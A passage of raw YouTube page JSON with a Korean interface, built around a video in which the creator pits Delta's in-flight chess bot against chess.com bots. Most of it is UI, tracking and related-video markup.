맞춤설정 알림 수신입니다. ZachAhern1 채널의 알림 설정을 변경하려면 탭하세요."}}}}},{"stateId":0,"nextStateId":0,"state":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"icon":{"iconType":"NOTIFICATIONS_OFF"},"accessibility":{"label":"현재 설정은 알림 수신 안함입니다. ZachAhern1 채널의 알림 설정을 변경하려면 탭하세요."},"trackingParams":"CJQCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","accessibilityData":{"accessibilityData":{"label":"현재 설정은 알림 수신 안함입니다. ZachAhern1 채널의 알림 설정을 변경하려면 탭하세요."}}}}}],"currentStateId":3,"trackingParams":"CI0CEJf5ASITCOC-yOCQiJIDFbtAOAUdXkI5gw==","command":{"clickTrackingParams":"CI0CEJf5ASITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandExecutorCommand":{"commands":[{"clickTrackingParams":"CI0CEJf5ASITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","openPopupAction":{"popup":{"menuPopupRenderer":{"items":[{"menuServiceItemRenderer":{"text":{"simpleText":"맞춤설정"},"icon":{"iconType":"NOTIFICATIONS_NONE"},"serviceEndpoint":{"clickTrackingParams":"CJMCEOy1BBgDIhMI4L7I4JCIkgMVu0A4BR1eQjmDMhJQUkVGRVJFTkNFX0RFRkFVTFTKAQQo57ZO","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/notification/modify_channel_preference"}},"modifyChannelNotificationPreferenceEndpoint":{"params":"ChhVQ2lRdFpZOE52bjNOR3VmNW1tMWVCeVESAggBGAAgBFITCgIIAxILYzBtTGhIRGNZM0kYAA%3D%3D"}},"trackingParams":"CJMCEOy1BBgDIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isSelected":true}},{"menuServiceItemRenderer":{"text":{"simpleText":"없음"},"icon":{"iconType":"NOTIFICATIONS_OFF"},"serviceEndpoint":{"clickTrackingParams":"CJICEO21BBgEIhMI4L7I4JCIkgMVu0A4BR1eQjmDMhtQUkVGRVJFTkNFX05PX05PVElGSUNBVElPTlPKAQQo57ZO","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/notification/modify_channel_preference"}},"modifyChannelNotificationPreferenceEndpoint":{"params":"ChhVQ2lRdFpZOE52bjNOR3VmNW1tMWVCeVESAggDGAAgBFITCgIIAxILYzBtTGhIRGNZM0kYAA%3D%3D"}},"trackingParams":"CJICEO21BBgEIhMI4L7I4JCIkgMVu0A4BR1eQjmD","isSelected":false}},{"menuServiceItemRenderer":{"text":{"runs":[{"text":"구독 취소"}]},"icon":{"iconType":"PERSON_MINUS"},"serviceEndpoint":{"clickTrackingParams":"CI4CENuLChgFIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CI4CENuLChgFIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","openPopupAction":{"popup":{"confirmDialogRenderer":{"trackingParams":"CI8CEMY4IhMI4L7I4JCIkgMVu0A4BR1eQjmD","dialogMessages":[{"runs":[{"text":"ZachAhern1"},{"text":" 구독을 취소하시겠습니까?"}]}],"confirmButton":{"buttonRenderer":{"style":"STYLE_BLUE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"구독 취소"}]},"serviceEndpoint":{"clickTrackingParams":"CJECEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDMgV3YXRjaMoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/unsubscribe"}},"unsubscribeEndpoint":{"channelIds":["UCiQtZY8Nvn3NGuf5mm1eByQ"],"params":"CgIIAxILYzBtTGhIRGNZM0kYAA%3D%3D"}},"accessibility":{"label":"구독 취소"},"trackingParams":"CJECEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"cancelButton":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"취소"}]},"accessibility":{"label":"취소"},"trackingParams":"CJACEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"primaryIsCancel":false}},"popupType":"DIALOG"}}]}},"trackingParams":"CI4CENuLChgFIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}}]}},"popupType":"DROPDOWN"}}]}},"targetId":"notification-bell","secondaryIcon":{"iconType":"EXPAND_MORE"}}},"targetId":"watch-subscribe","signInEndpoint":{"clickTrackingParams":"CIgCEJsrIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"ignoreNavigation":true}},"modalEndpoint":{"modal":{"modalWithTitleAndButtonRenderer":{"title":{"simpleText":"채널을 구독하시겠습니까?"},"content":{"simpleText":"채널을 구독하려면 로그인하세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CIwCEP2GBCITCOC-yOCQiJIDFbtAOAUdXkI5gzIJc3Vic2NyaWJlygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253Dc0mLhHDcY3I%26continue_action%3DQUFFLUhqbjIxWHBWa2kzX1c1MU1wRTE0Um0xUTFvZG5fQXxBQ3Jtc0tueGhKWU81NGhjaWMyWXdtd0FrZ3JaVkcybXEzdS1uYU9odGtuQ1ZxNWpYaDdmVlBfVmJ0UEhjUnRTdldXeGJLUnhZNEp4X0pwVm9WbXF5Vi1IdzRLSjJWamVZMmZYbHlfZV8wWWFpeWxmMm1IWWJ6UTdSUGdqWUx6Q29DZTVEbVFndUppeWQwN093R1Nqc19ManFQclYtRFBCYnNFRUdTQUxZcDlZUXFpajltNzZ2clE0b1pQNVIzd3htZ29DaEotSDdxdmk\u0026hl=ko\u0026ec=66429","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CIwCEP2GBCITCOC-yOCQiJIDFbtAOAUdXkI5g8oBBCjntk4=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=c0mLhHDcY3I","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"c0mLhHDcY3I","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr3---sn-ab02a0nfpgxapox-bh2ed.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=73498b8470dc6372\u0026ip=1.208.108.242\u0026initcwndbps=3931250\u0026mt=1768293662\u0026oweuc="}}}}},"continueAction":"QUFFLUhqbjIxWHBWa2kzX1c1MU1wRTE0Um0xUTFvZG5fQXxBQ3Jtc0tueGhKWU81NGhjaWMyWXdtd0FrZ3JaVkcybXEzdS1uYU9odGtuQ1ZxNWpYaDdmVlBfVmJ0UEhjUnRTdldXeGJLUnhZNEp4X0pwVm9WbXF5Vi1IdzRLSjJWamVZMmZYbHlfZV8wWWFpeWxmMm1IWWJ6UTdSUGdqWUx6Q29DZTVEbVFndUppeWQwN093R1Nqc19ManFQclYtRFBCYnNFRUdTQUxZcDlZUXFpajltNzZ2clE0b1pQNVIzd3htZ29DaEotSDdxdmk","idamTag":"66429"}},"trackingParams":"CIwCEP2GBCITCOC-yOCQiJIDFbtAOAUdXkI5gw=="}}}}}},"subscribedEntityKey":"EhhVQ2lRdFpZOE52bjNOR3VmNW1tMWVCeVEgMygB","onSubscribeEndpoints":[{"clickTrackingParams":"CIgCEJsrIhMI4L7I4JCIkgMVu0A4BR1eQjmDKPgdMgV3YXRjaMoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/subscribe"}},"subscribeEndpoint":{"channelIds":["UCiQtZY8Nvn3NGuf5mm1eByQ"],"params":"EgIIAxgAIgtjMG1MaEhEY1kzSQ%3D%3D"}}],"onUnsubscribeEndpoints":[{"clickTrackingParams":"CIgCEJsrIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CIgCEJsrIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","openPopupAction":{"popup":{"confirmDialogRenderer":{"trackingParams":"CIkCEMY4IhMI4L7I4JCIkgMVu0A4BR1eQjmD","dialogMessages":[{"runs":[{"text":"ZachAhern1"},{"text":" 구독을 취소하시겠습니까?"}]}],"confirmButton":{"buttonRenderer":{"style":"STYLE_BLUE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"구독 취소"}]},"serviceEndpoint":{"clickTrackingParams":"CIsCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDKPgdMgV3YXRjaMoBBCjntk4=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/unsubscribe"}},"unsubscribeEndpoint":{"channelIds":["UCiQtZY8Nvn3NGuf5mm1eByQ"],"params":"CgIIAxILYzBtTGhIRGNZM0kYAA%3D%3D"}},"accessibility":{"label":"구독 취소"},"trackingParams":"CIsCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"cancelButton":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"취소"}]},"accessibility":{"label":"취소"},"trackingParams":"CIoCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"primaryIsCancel":false}},"popupType":"DIALOG"}}]}}]}},"metadataRowContainer":{"metadataRowContainerRenderer":{"collapsedItemCount":0,"trackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"showMoreText":{"simpleText":"...더보기"},"showLessText":{"simpleText":"간략히"},"trackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmD","defaultExpanded":false,"descriptionCollapsedLines":3,"showMoreCommand":{"clickTrackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandExecutorCommand":{"commands":[{"clickTrackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","changeEngagementPanelVisibilityAction":{"targetId":"engagement-panel-structured-description","visibility":"ENGAGEMENT_PANEL_VISIBILITY_EXPANDED"}},{"clickTrackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","scrollToEngagementPanelCommand":{"targetId":"engagement-panel-structured-description"}}]}},"showLessCommand":{"clickTrackingParams":"CIcCEM2rARgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","changeEngagementPanelVisibilityAction":{"targetId":"engagement-panel-structured-description","visibility":"ENGAGEMENT_PANEL_VISIBILITY_HIDDEN"}},"attributedDescription":{"content":"On a long flight, I tried to take down the chess bot available on Delta's entertainment system, only to find out I was utterly hopeless against it. I decided to figure out how good Delta was by pitting it against increasingly strong bots available on chess.com.","styleRuns":[{"startIndex":0,"length":261,"styleRunExtensions":{"styleRunColorMapExtension":{"colorMap":[{"key":"USER_INTERFACE_THEME_DARK","value":4294967295},{"key":"USER_INTERFACE_THEME_LIGHT","value":4279440147}]}},"fontFamilyName":"Roboto"}]},"headerRuns":[{"startIndex":0,"length":261,"headerMapping":"ATTRIBUTED_STRING_HEADER_MAPPING_UNSPECIFIED"}]}},{"compositeVideoPrimaryInfoRenderer":{}},{"itemSectionRenderer":{"contents":[{"continuationItemRenderer":{"trigger":"CONTINUATION_TRIGGER_ON_ITEM_SHOWN","continuationEndpoint":{"clickTrackingParams":"CIYCELsvGAMiEwjgvsjgkIiSAxW7QDgFHV5COYPKAQQo57ZO","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/next"}},"continuationCommand":{"token":"Eg0SC2MwbUxoSERjWTNJGAYyJSIRIgtjMG1MaEhEY1kzSTAAeAJCEGNvbW1lbnRzLXNlY3Rpb24%3D","request":"CONTINUATION_REQUEST_TYPE_WATCH_NEXT"}}}}],"trackingParams":"CIYCELsvGAMiEwjgvsjgkIiSAxW7QDgFHV5COYM=","sectionIdentifier":"comment-item-section","targetId":"comments-section"}}],"trackingParams":"CIUCELovIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},"secondaryResults":{"secondaryResults":{"results":[{"lockupViewModel":{"contentImage":{"thumbnailViewModel":{"image":{"sources":[{"url":"https://i.ytimg.com/vi/pYO9w3tQU4Q/hqdefault.jpg?sqp=-oaymwEiCKgBEF5IWvKriqkDFQgBFQAAAAAYASUAAMhCPQCAokN4AQ==\u0026rs=AOn4CLCFJ5wAcZu2nN_vNfFaKjcIbxr4Bg","width":168,"height":94},{"url":"https://i.ytimg.com/vi/pYO9w3tQU4Q/hqdefault.jpg?sqp=-oaymwEjCNACELwBSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=\u0026rs=AOn4CLBNptIRTwCyQHNmqyVMmrV150BzHw","width":336,"height":188}]},"overlays":[{"thumbnailOverlayBadgeViewModel":{"thumbnailBadges":[{"thumbnailBadgeViewModel":{"text":"1:15:31","badgeStyle":"THUMBNAIL_OVERLAY_BADGE_STYLE_DEFAULT","animationActivationTargetId":"pYO9w3tQU4Q","animationActivationEntityKey":"Eh8veW91dHViZS9hcHAvd2F0Y2gvcGxheWVyX3N0YXRlIMMCKAE%3D","lottieData":{"url":"https://www.gstatic.com/youtube/img/lottie/audio_indicator/audio_indicator_v2.json","settings":{"loop":true,"autoplay":true}},"animatedText":"지금 재생 중","animationActivationEntitySelectorType":"THUMBNAIL_BADGE_ANIMATION_ENTITY_SELECTOR_TYPE_PLAYER_STATE","rendererContext":{"accessibilityContext":{"label":"1시간 15분 31초"}}}}],"position":"THUMBNAIL_OVERLAY_BADGE_POSITION_BOTTOM_END"}},{"thumbnailHoverOverlayToggleActionsViewModel":{"buttons":[{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"WATCH_LATER","onTap":{"innertubeCommand":{"clickTrackingParams":"CIQCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"addedVideoId":"pYO9w3tQU4Q","action":"ACTION_ADD_VIDEO"}]}}},"accessibilityText":"나중에 볼 동영상","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CIQCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","onTap":{"innertubeCommand":{"clickTrackingParams":"CIMCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"action":"ACTION_REMOVE_VIDEO_BY_VIDEO_ID","removedVideoId":"pYO9w3tQU4Q"}]}}},"accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CIMCEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CPwBENTEDBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"ADD_TO_QUEUE_TAIL","onTap":{"innertubeCommand":{"clickTrackingParams":"CIICEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CIICEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","addToPlaylistCommand":{"openMiniplayer":false,"openListPanel":true,"videoId":"pYO9w3tQU4Q","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CIICEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["pYO9w3tQU4Q"],"params":"CAQ%3D"}},"videoIds":["pYO9w3tQU4Q"],"videoCommand":{"clickTrackingParams":"CIICEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=pYO9w3tQU4Q","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"pYO9w3tQU4Q","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr1---sn-ab02a0nfpgxapox-bh2z6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=a583bdc37b505384\u0026ip=1.208.108.242\u0026initcwndbps=4452500\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}},"accessibilityText":"현재 재생목록에 추가","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CIICEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CIECEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CPwBENTEDBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}}]}}]}},"metadata":{"lockupMetadataViewModel":{"title":{"content":"LEELA WILL DRIVE YOU CRAZY!!"},"image":{"decoratedAvatarViewModel":{"avatar":{"avatarViewModel":{"image":{"sources":[{"url":"https://yt3.ggpht.com/GBQB7uZvLvAOuzFArzoAiJsas5HW7dcsExeqERP_ORGwx7vSWyjTdbC97qMWzePvfiyufsNyods=s68-c-k-c0x00ffffff-no-rj","width":68,"height":68}]},"avatarImageSize":"AVATAR_SIZE_M"}},"a11yLabel":"GMHikaru 채널로 이동","rendererContext":{"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CPwBENTEDBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/@GMHikaru","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCweCc7bSMX5J4jEH7HFImng","canonicalBaseUrl":"/@GMHikaru"}}}}}}},"metadata":{"contentMetadataViewModel":{"metadataRows":[{"metadataParts":[{"text":{"content":"GMHikaru","styleRuns":[{"startIndex":8,"styleRunExtensions":{"styleRunColorMapExtension":{"colorMap":[{"key":"USER_INTERFACE_THEME_DARK","value":4289374890},{"key":"USER_INTERFACE_THEME_LIGHT","value":4284506208}]}}}],"attachmentRuns":[{"startIndex":8,"length":0,"element":{"type":{"imageType":{"image":{"sources":[{"clientResource":{"imageName":"CHECK_CIRCLE_FILLED"},"width":14,"height":14}]}}},"properties":{"layoutProperties":{"height":{"value":14,"unit":"DIMENSION_UNIT_POINT"},"width":{"value":14,"unit":"DIMENSION_UNIT_POINT"},"margin":{"left":{"value":4,"unit":"DIMENSION_UNIT_POINT"}}}}},"alignment":"ALIGNMENT_VERTICAL_CENTER"}]}}]},{"metadataParts":[{"text":{"content":"조회수 21만회"}},{"text":{"content":"8개월 전"}}]}],"delimiter":" • "}},"menuButton":{"buttonViewModel":{"iconName":"MORE_VERT","onTap":{"innertubeCommand":{"clickTrackingParams":"CP0BEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","showSheetCommand":{"panelLoadingStrategy":{"inlineContent":{"sheetViewModel":{"content":{"listViewModel":{"listItems":[{"listItemViewModel":{"title":{"content":"현재 재생목록에 추가"},"leadingImage":{"sources":[{"clientResource":{"imageName":"ADD_TO_QUEUE_TAIL"}}]},"rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CIACEP6YBBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","visibility":{"types":"12"}}},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CIACEP6YBBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CIACEP6YBBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","addToPlaylistCommand":{"openMiniplayer":true,"videoId":"pYO9w3tQU4Q","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CIACEP6YBBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["pYO9w3tQU4Q"],"params":"CAQ%3D"}},"videoIds":["pYO9w3tQU4Q"],"videoCommand":{"clickTrackingParams":"CIACEP6YBBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=pYO9w3tQU4Q","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"pYO9w3tQU4Q","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr1---sn-ab02a0nfpgxapox-bh2z6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=a583bdc37b505384\u0026ip=1.208.108.242\u0026initcwndbps=4452500\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}}}}}},{"listItemViewModel":{"title":{"content":"재생목록에 저장"},"leadingImage":{"sources":[{"clientResource":{"imageName":"BOOKMARK_BORDER"}}]},"rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CP8BEJSsCRgBIhMI4L7I4JCIkgMVu0A4BR1eQjmD","visibility":{"types":"12"}}},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CP8BEJSsCRgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CP8BEJSsCRgBIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","showSheetCommand":{"panelLoadingStrategy":{"requestTemplate":{"panelId":"PAadd_to_playlist","params":"-gYNCgtwWU85dzN0UVU0UQ%3D%3D"}}}}}}}}}}},{"listItemViewModel":{"title":{"content":"공유"},"leadingImage":{"sources":[{"clientResource":{"imageName":"SHARE"}}]},"rendererContext":{"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CP0BEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/share/get_share_panel"}},"shareEntityServiceEndpoint":{"serializedShareEntity":"CgtwWU85dzN0UVU0UQ%3D%3D","commands":[{"clickTrackingParams":"CP0BEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","openPopupAction":{"popup":{"unifiedSharePanelRenderer":{"trackingParams":"CP4BEI5iIhMI4L7I4JCIkgMVu0A4BR1eQjmD","showLoadingSpinner":true}},"popupType":"DIALOG","beReused":true}}]}}}}}}}]}}}}}}}},"accessibilityText":"추가 작업","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CP0BEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TEXT","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}}}},"contentId":"pYO9w3tQU4Q","contentType":"LOCKUP_CONTENT_TYPE_VIDEO","rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CPwBENTEDBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmD","visibility":{"types":"12"}}},"accessibilityContext":{"label":"LEELA WILL DRIVE YOU CRAZY!! 1시간 15분"},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CPwBENTEDBgAIhMI4L7I4JCIkgMVu0A4BR1eQjmDMgdyZWxhdGVkSPLG8YbH8OKkc5oBBQgBEPgdygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=pYO9w3tQU4Q","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"pYO9w3tQU4Q","nofollow":true,"watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr1---sn-ab02a0nfpgxapox-bh2z6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=a583bdc37b505384\u0026ip=1.208.108.242\u0026initcwndbps=4452500\u0026mt=1768293662\u0026oweuc="}}}}}}}}}},{"lockupViewModel":{"contentImage":{"thumbnailViewModel":{"image":{"sources":[{"url":"https://i.ytimg.com/vi/J6zo1t1GnoA/hqdefault.jpg?sqp=-oaymwEiCKgBEF5IWvKriqkDFQgBFQAAAAAYASUAAMhCPQCAokN4AQ==\u0026rs=AOn4CLD_UVZ4XcHgEe7UCoNpaJlUdrPFGw","width":168,"height":94},{"url":"https://i.ytimg.com/vi/J6zo1t1GnoA/hqdefault.jpg?sqp=-oaymwEjCNACELwBSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=\u0026rs=AOn4CLAifjQwG2wvorIQfvCG6HXVB_XU7Q","width":336,"height":188}]},"overlays":[{"thumbnailOverlayBadgeViewModel":{"thumbnailBadges":[{"thumbnailBadgeViewModel":{"text":"19:31","badgeStyle":"THUMBNAIL_OVERLAY_BADGE_STYLE_DEFAULT","animationActivationTargetId":"J6zo1t1GnoA","animationActivationEntityKey":"Eh8veW91dHViZS9hcHAvd2F0Y2gvcGxheWVyX3N0YXRlIMMCKAE%3D","lottieData":{"url":"https://www.gstatic.com/youtube/img/lottie/audio_indicator/audio_indicator_v2.json","settings":{"loop":true,"autoplay":true}},"animatedText":"지금 재생 중","animationActivationEntitySelectorType":"THUMBNAIL_BADGE_ANIMATION_ENTITY_SELECTOR_TYPE_PLAYER_STATE","rendererContext":{"accessibilityContext":{"label":"19분 